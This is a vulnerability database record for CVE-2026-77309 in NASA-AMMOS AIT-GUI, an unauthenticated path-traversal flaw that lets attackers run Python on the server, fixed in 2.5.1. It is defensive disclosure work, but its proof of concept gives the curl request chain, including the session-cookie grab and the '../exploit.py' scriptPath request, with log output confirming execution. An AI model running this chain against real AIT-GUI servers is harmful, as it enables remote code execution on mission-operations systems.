{"id":"CVE-2026-77309","aliases":["CVE-2026-77309","GHSA-jrjx-9jjw-747m"],"related":[],"kind":"vulnerability","state":"published","title":"AIT-GUI route chain allows unauthenticated Python execution in server process","summary":"AIT GUI provides a framework for building custom websites for real-time telemetry monitoring, commanding, and other mission operations. From 1.0.0 until 2.5.1, POST /tlm/query in ait/gui/__init__.py writes attacker-controlled field data to fields_in.txt, and its no-PCAP error path can abort before deleting that file. The unauthenticated POST /script/run route accepts a scriptPath that resolves outside ScriptRoot, reads the selected file, and executes it as Python. A network-reachable attacker can obtain the ordinary session cookie without credentials, combine the two routes, and execute arbitrary Python code with the AIT-GUI server process privileges. This issue is fixed in version 2.5.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"AIT GUI provides a framework for building custom websites for real-time telemetry monitoring, commanding, and other mission operations. From 1.0.0 until 2.5.1, POST /tlm/query in ait/gui/__init__.py writes attacker-controlled field data to fields_in.txt, and its no-PCAP error path can abort before deleting that file. The unauthenticated POST /script/run route accepts a scriptPath that resolves outside ScriptRoot, reads the selected file, and executes it as Python. A network-reachable attacker can obtain the ordinary session cookie without credentials, combine the two routes, and execute arbitrary Python code with the AIT-GUI server process privileges. This issue is fixed in version 2.5.1.","source":"cvelist"},{"lang":"en","text":"## Summary\nA security issue exists where unauthenticated callers can instruct the AIT-GUI server to execute arbitrary Python scripts. The attack vector involves obtaining a session cookie through GET /, followed by a malicious POST /script/run request containing an absolute file path that bypasses the configured script directory restrictions.\n\n### Patches\n* 2.5.1\n\n### Impact\nThis vulnerability allows unauthenticated remote code execution on the AIT-GUI server. Any attacker with network access can execute arbitrary Python code with daemon privileges.\n\n## Details\n_Chain:_\n1. `POST /tlm/query` writes the user-controlled `fields` value into `fields_in.txt` under the AIT-GUI static directory.\n   *  If the supplied `dataDir` has no `.pcap` files, the route returns the expected `400 Bad Request` before deleting that file.\n2. `POST /script/run` accepts `scriptPath=../static/fields_in.txt`.\n   * AIT-GUI reads that file and runs it as Python.\n\n_Relevant code:_\n- `ait/gui/__init__.py:930,935,942-944`: `/tlm/query` writes `fields` to `fields_in.txt`.\n- `ait/gui/__init__.py:952-958,978`: the no-PCAP error path aborts before cleanup.\n- `ait/gui/__init__.py:1130-1136`: `/script/run` joins `scriptPath` with `ScriptRoot` and only checks that the path exists.\n- `ait/gui/__init__.py:1186-1191`: the selected file is read and executed as Python.\n- `ait/gui/__init__.py:1105-1108`: nearby `/scripts/load/<name>` has a path containment check, but `/script/run` does not.\n\n### Fix Information\nRestricted script execution paths and avoided using static temp files.\n\n## PoC\n1. `POST /tlm/query` writes the user-controlled `fields` value into `fields_in.txt` under the AIT-GUI static directory.\n   *  If the supplied `dataDir` has no `.pcap` files, the route returns the expected `400 Bad Request` before deleting that file.\n```\n# Remove file to ensure nothing exists\nAIT-GUI % rm <path>/fields_in.txt\n\n# With server started, send POST request to /tlm/query endpoint\nAIT-GUI % curl -X POST http://localhost:8080/tlm/query \\  -d \"dataDir=<path>\" \\     \n  -d \"timeField=time\" \\\n  -d \"packet=CCSDS_HEADER\" \\\n  -d \"fields=field1,field2,field3\" \\\n  -d \"startTime=2026-07-01T00:00:00\" \\\n  -d \"endTime=2026-07-10T00:00:00\" \\\n  -o query_out.csv\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100   925  100   782  100   143  34798   6363 --:--:-- --:--:-- --:--:-- 42045\n\n# AIT-server log verify that PCAP file cannot be found:\n2026-07-10T11:46:37.873 | ERROR    | Unable to locate PCAP files for query given data directory <path>\n\n# Verify file is created and not cleaned up\nAIT-GUI % cat <path>/fields_in.txt\nfield1\nfield2\nfield3\n```\n2. `POST /script/run` accepts `scriptPath=../static/fields_in.txt`.\n   * AIT-GUI reads that file and runs it as Python.\n\n```\n# Generate session cookie\ncurl -c cookies.txt -v http://localhost:8080/ -o /dev/null\n\n# Execute example script which currently exists in configured scripts.directory in config.yaml\n(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % cat config.yaml | grep script\n    script:\n        directory: ./scripts\n\n(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % ls scripts\nexample_script.py\n\n# Create exploit script \"exploit.py\" outside of configured location\n(venv) scripts % ls ../exploit.py \n../exploit.py\n\n# Perform request to example_script.py. This script prints 'correct'\n(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d \"scriptPath=example_script.py\" -b cookies.txt\n\n# Perform request to exploit.py, which exists outside of configured location. This script prints 'exploited'\n(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d \"scriptPath=../exploit.py\" -b cookies.txt  \n\n# Verify in server logs that correct and exploit print\n2026-07-10T13:46:41.441 | INFO     | Starting broker...\ncorrect\n...\nexploited\n\n```\n\n## Additional Notes\n\n- Python code execution in the AIT-GUI server process.\n- The demo is localhost only (`127.0.0.1`) and proves the issue against AIT-GUI `2.5.0`. \n- The tested AIT-GUI source binds the web server to `0.0.0.0`, so in a deployment where another host can reach the AIT-GUI HTTP port, this becomes code execution from that network position.\n- No login credentials or privileged account were required in the tested flow. The PoC only used the normal `sid` cookie created by `GET /`. In my local demo, the payload ran as my normal user (`uid=1000`), not root.\n- [ait_gui_tlm_query_script_run_rce_live_server.py](https://github.com/user-attachments/files/29583858/ait_gui_tlm_query_script_run_rce_live_server.py)\n- [ait-gui-tlm-query-script-run-rce.patch](https://github.com/user-attachments/files/29583552/ait-gui-tlm-query-script-run-rce.patch)\n- https://github.com/user-attachments/assets/a188aaa3-783a-4bb0-ab9a-6541f939a26a","format":"markdown","source":"ghsa"}],"published":"2026-11-20T17:50:42.337Z","modified":"2026-11-20T23:45:03.787Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-22","CWE-459"],"affected":[{"ranges":[{"version":">= 1.0.0, < 2.5.1","status":"affected"}],"vendor":"NASA-AMMOS","product":"AIT-GUI","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"1.0.0","status":"affected","fixed":"2.5.1"}],"ecosystem":"PyPI","package":"ait-gui","purl":"pkg:pypi/ait-gui","source":"ghsa"}],"references":[{"url":"https://github.com/NASA-AMMOS/AIT-GUI/security/advisories/GHSA-jrjx-9jjw-747m","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/NASA-AMMOS/AIT-GUI/commit/beb8fc0813eded89f985d3eb9a73535dd327726d","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/NASA-AMMOS/AIT-GUI/blob/2.5.1/CHANGELOG.md","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/NASA-AMMOS/AIT-GUI/releases/tag/2.5.1","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77309","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/NASA-AMMOS/AIT-GUI","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-11-20T19:12:12.474Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-77309","url":"https://www.cve.org/CVERecord?id=CVE-2026-77309","licence":"CVE Terms of Use","modified":"2026-11-20T19:12:30.761Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jrjx-9jjw-747m","url":"https://github.com/advisories/GHSA-jrjx-9jjw-747m","licence":"CC-BY-4.0","modified":"2026-11-20T23:45:03.787Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-77309","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77309","licence":"Public domain","modified":"2026-11-20T19:18:53.477Z"}],"updatedAt":"2026-11-25T22:59:52.447Z","epss":{"score":0.00388,"percentile":0.24601,"date":"2026-11-30T12:00:22.000Z"}}